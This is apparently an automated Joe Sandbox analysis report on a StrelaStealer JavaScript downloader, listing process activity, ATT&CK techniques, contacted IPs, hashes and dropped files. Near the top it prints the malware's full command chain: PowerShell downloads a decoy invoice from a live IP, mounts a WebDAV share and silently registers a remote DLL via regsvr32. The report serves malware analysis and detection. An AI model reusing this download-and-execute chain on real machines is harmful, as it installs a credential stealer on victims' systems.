Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1601021956623126375.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1601021956623126375.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/LP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1393866555.0000023A60600000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2623501190.0000023A60800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1394037457.000002D095048000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/LP	net.exe, 00000008.00000002.1394037457.000002D095084000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588570
Start date and time:	2025-01-11 02:30:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1601021956623126375.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.46.156.16, 23.46.156.25, 23.46.156.53, 13.107.246.45, 3.219.243.226, 52.149.20.212, 23.56.162.204, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:31:17	API Interceptor	23x Sleep call for process: powershell.exe modified
20:31:21	API Interceptor	1x Sleep call for process: net.exe modified
20:31:21	API Interceptor	2x Sleep call for process: svchost.exe modified
22:14:58	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706701772779503
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqa:2JIB/wUKUKQncEmYRTwh0+
MD5:	9DAC2E4746BA21A5B8B97F9553B6DA43
SHA1:	955F42B3B5BA339D60CA38A8F46F13D1F72E0642
SHA-256:	695B508355E3361F172AD76CE16341B8CF1192CE39DF9EF1FB7825E0E337CAB2
SHA-512:	9E5E98A973A0BB68841285C141FBAD8DE25545D78B521CF1016FADFE25350A3CBD8704EC758571C45A71C178BEBF0549A7C9C38CC77F87BE7FC83F6BFE15EE5D
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27d97091, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899820112758704
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	54A9A18D64D49BCEDB8560AA0C28EB5E
SHA1:	1DE4B69241BC74068D0FACAC29735C4AB097A3D7
SHA-256:	5C7A09527AE28D074A197D83C1A6B766BED31C1DF52D543C0DB47DD1D8F64513
SHA-512:	A1524DE600204754F08DD81EC1074B17B6B1FB95B94315DA8DE419E9664C8317071B28D7757AD3254DD68D342276C40668186243AB74D34B5ACFC2A3A3B4AB7D
Malicious:	false
Preview:	'.p.... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................(4.....}....................d......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08233089013574885
Encrypted:	false
SSDEEP:	3:QtKYeHPhrxiqNt/57Dek3JkoRgr/YllEqW3l/TjzzQ/t:QtKzHP9BPR3tx8Qmd8/
MD5:	9E711B7E9ABB3033E5835079F7A77398
SHA1:	50A87CE7A77F055FBBBA95010EA9BFC2D758357F
SHA-256:	A7855A696DB8BD2B5AEFAE97E0DD6057CF4E6191A3E62E4AF7F0F0FD5EB83786
SHA-512:	BB856BC75A931254AD38D9A36D8E7AD66FB5FB53CEC1F61420D59889FE73387078A9D59D1E4B0AD310A219E7ABC3C5B0F500D5B8ABFE0F32263F38BB607A8678
Malicious:	false
Preview:	.[......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59..................d......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.180944261325221
Encrypted:	false
SSDEEP:	6:iO4qVUVzxVq2PcNwi2nKuAl9OmbnIFUtSqVUMFalgZmwsqVUMFalIkwOcNwi2nKZ:7nMzxVvLZHAahFUtZHFalg/LHFalI54M
MD5:	FDC26222CC36CE2A02DC476D0D375F84
SHA1:	AFBE9D5B8E0AD8A6B5F9DF530450CBF7A3F6F3A1
SHA-256:	26FF219CD2EC92AB87C774B4C6489E74AA63873EF55A6490FF4540B95EACC15A
SHA-512:	8494769FDC9AF42536BF3515DAEE4359C730B576CDB869464A7080A8C8A96E79E138C0FD908B22EA4675E792FF66C2A22ADF6C4CBF53C7DE8023FABF3C07D6ED
Malicious:	false
Preview:	2025/01/10-20:31:21.607 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:31:21.610 1f74 Recovering log #3.2025/01/10-20:31:21.610 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.180944261325221
Encrypted:	false
SSDEEP:	6:iO4qVUVzxVq2PcNwi2nKuAl9OmbnIFUtSqVUMFalgZmwsqVUMFalIkwOcNwi2nKZ:7nMzxVvLZHAahFUtZHFalg/LHFalI54M
MD5:	FDC26222CC36CE2A02DC476D0D375F84
SHA1:	AFBE9D5B8E0AD8A6B5F9DF530450CBF7A3F6F3A1
SHA-256:	26FF219CD2EC92AB87C774B4C6489E74AA63873EF55A6490FF4540B95EACC15A
SHA-512:	8494769FDC9AF42536BF3515DAEE4359C730B576CDB869464A7080A8C8A96E79E138C0FD908B22EA4675E792FF66C2A22ADF6C4CBF53C7DE8023FABF3C07D6ED
Malicious:	false
Preview:	2025/01/10-20:31:21.607 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:31:21.610 1f74 Recovering log #3.2025/01/10-20:31:21.610 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.160607757220686
Encrypted:	false
SSDEEP:	6:iO4qVUFasq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVrXZmwsqVmvkwOcNwi2nKuAl97:7nUMsvLZHAa8uFUtZrX/LI54ZHAa8RJ
MD5:	7FACFBD53A346C5E1F64E576C2B40AB1
SHA1:	141E094F75F63A7B9C0BDA98058D4BEDD23ACE70
SHA-256:	C90C2DC7F66EDAFCBB23A6489A9E43C67880796F8A8BB97A7BE2544BB3A9DB61
SHA-512:	754F78A033554DC3D2807DA88B22603A1B8CAA194236783C3B630394032E6788224523706CABBAC03F93658CD8CCAE503E390A81970654DC765082F759DFDE7A
Malicious:	false
Preview:	2025/01/10-20:31:21.709 1fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:31:21.712 1fb4 Recovering log #3.2025/01/10-20:31:21.713 1fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.160607757220686
Encrypted:	false
SSDEEP:	6:iO4qVUFasq2PcNwi2nKuAl9Ombzo2jMGIFUtSqVrXZmwsqVmvkwOcNwi2nKuAl97:7nUMsvLZHAa8uFUtZrX/LI54ZHAa8RJ
MD5:	7FACFBD53A346C5E1F64E576C2B40AB1
SHA1:	141E094F75F63A7B9C0BDA98058D4BEDD23ACE70
SHA-256:	C90C2DC7F66EDAFCBB23A6489A9E43C67880796F8A8BB97A7BE2544BB3A9DB61
SHA-512:	754F78A033554DC3D2807DA88B22603A1B8CAA194236783C3B630394032E6788224523706CABBAC03F93658CD8CCAE503E390A81970654DC765082F759DFDE7A
Malicious:	false
Preview:	2025/01/10-20:31:21.709 1fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:31:21.712 1fb4 Recovering log #3.2025/01/10-20:31:21.713 1fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e3c44ed-5033-4c4a-bb15-108cc0bac8eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959193048349497
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhWsBdOg2HXcaq3QYiubSpDyP7E4TX:Y2sRdsM7dMHW3QYhbSpDa7n7
MD5:	C1ABC46AD3ACE8678F90B4D3EC589150
SHA1:	E980210FB3C14108299477E9B515961A93FBC45B
SHA-256:	C2DD3E7B56FEAFF13A1DF9DEF206A5AD9C84C28219777080BF7B5C26151A7CCE
SHA-512:	65968F498654D4E3D97ECDED3E3FC876BCD24B19076B6C26029C94F7C058DE437F3D0EEAEFE2968B59A4F4F37FC3C237881720BE5065E4C3FE600D1293B604A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119093270303","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131844},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.959193048349497
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhWsBdOg2HXcaq3QYiubSpDyP7E4TX:Y2sRdsM7dMHW3QYhbSpDa7n7
MD5:	C1ABC46AD3ACE8678F90B4D3EC589150
SHA1:	E980210FB3C14108299477E9B515961A93FBC45B
SHA-256:	C2DD3E7B56FEAFF13A1DF9DEF206A5AD9C84C28219777080BF7B5C26151A7CCE
SHA-512:	65968F498654D4E3D97ECDED3E3FC876BCD24B19076B6C26029C94F7C058DE437F3D0EEAEFE2968B59A4F4F37FC3C237881720BE5065E4C3FE600D1293B604A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119093270303","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131844},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235286075133373
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP2cGjwg:CwNw1GHqPySfkcigoO3h28ytP7Gjwg
MD5:	3C0FA96C9D1C7439D11DED1D939C79CF
SHA1:	144B3F388C032A43851AB476ADE42391CF53436E
SHA-256:	67FCD2ECC23B8992AFCF2E56C2DB69924270799D3D74BBE9E38BB4199913F8E5
SHA-512:	BD2022C7441066E1EF5D8D27727B8F030F9084027923EE690517D2887A567BF979CC61F66627CC67F2CDD01E33B24ED6E2321BEC80D6BA131D8FA1BACA59CE9E
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19438417136946
Encrypted:	false
SSDEEP:	6:iO4qVaTVasq2PcNwi2nKuAl9OmbzNMxIFUtSqVaTQmZmwsqVaTQakwOcNwi2nKuP:7naT8svLZHAa8jFUtZaTQm/LaTQa54Zv
MD5:	1E9304856FBF933F512755CB1D486990
SHA1:	A67B5BF9C0BFE6A64B1E50FA1FD74B31842C9FED
SHA-256:	9C59AAA61281D8DACE200EAF1BDA49E8B1F47EDF005AA8F3795FAE3F44846303
SHA-512:	3EC510F2EF5790D7CFF8655A44F7FE5536A84CF8167B74116902E122A909D18A91FA4F4452AFBA89F9A85F6A283BC50F2F08451F9E7FEBE16EC0F2D99422BD5A
Malicious:	false
Preview:	2025/01/10-20:31:21.862 1fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:31:21.865 1fb4 Recovering log #3.2025/01/10-20:31:21.865 1fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19438417136946
Encrypted:	false
SSDEEP:	6:iO4qVaTVasq2PcNwi2nKuAl9OmbzNMxIFUtSqVaTQmZmwsqVaTQakwOcNwi2nKuP:7naT8svLZHAa8jFUtZaTQm/LaTQa54Zv
MD5:	1E9304856FBF933F512755CB1D486990
SHA1:	A67B5BF9C0BFE6A64B1E50FA1FD74B31842C9FED
SHA-256:	9C59AAA61281D8DACE200EAF1BDA49E8B1F47EDF005AA8F3795FAE3F44846303
SHA-512:	3EC510F2EF5790D7CFF8655A44F7FE5536A84CF8167B74116902E122A909D18A91FA4F4452AFBA89F9A85F6A283BC50F2F08451F9E7FEBE16EC0F2D99422BD5A
Malicious:	false
Preview:	2025/01/10-20:31:21.862 1fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:31:21.865 1fb4 Recovering log #3.2025/01/10-20:31:21.865 1fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438446731731999
Encrypted:	false
SSDEEP:	384:CeAci5GaiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:X6urVgazUpUTTGt
MD5:	4FCAAA7A5B57C4ABEE6253DD3FF29536
SHA1:	F01D66D3CC34A32FAE23D7F28C9FA62A28271539
SHA-256:	71029FADDA47A6F1EFA6AE45100A53FC98EBACBA7504DC82C2898F4A233564F0
SHA-512:	8171F57967BEBE73F540FAB6A1BACB5DB403BAB98A01CB6DDEA0A6E1B8299A9910C20EB598695D728039B3631DB1C451B87599A3A17B88848554BE0EDC27F5C9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
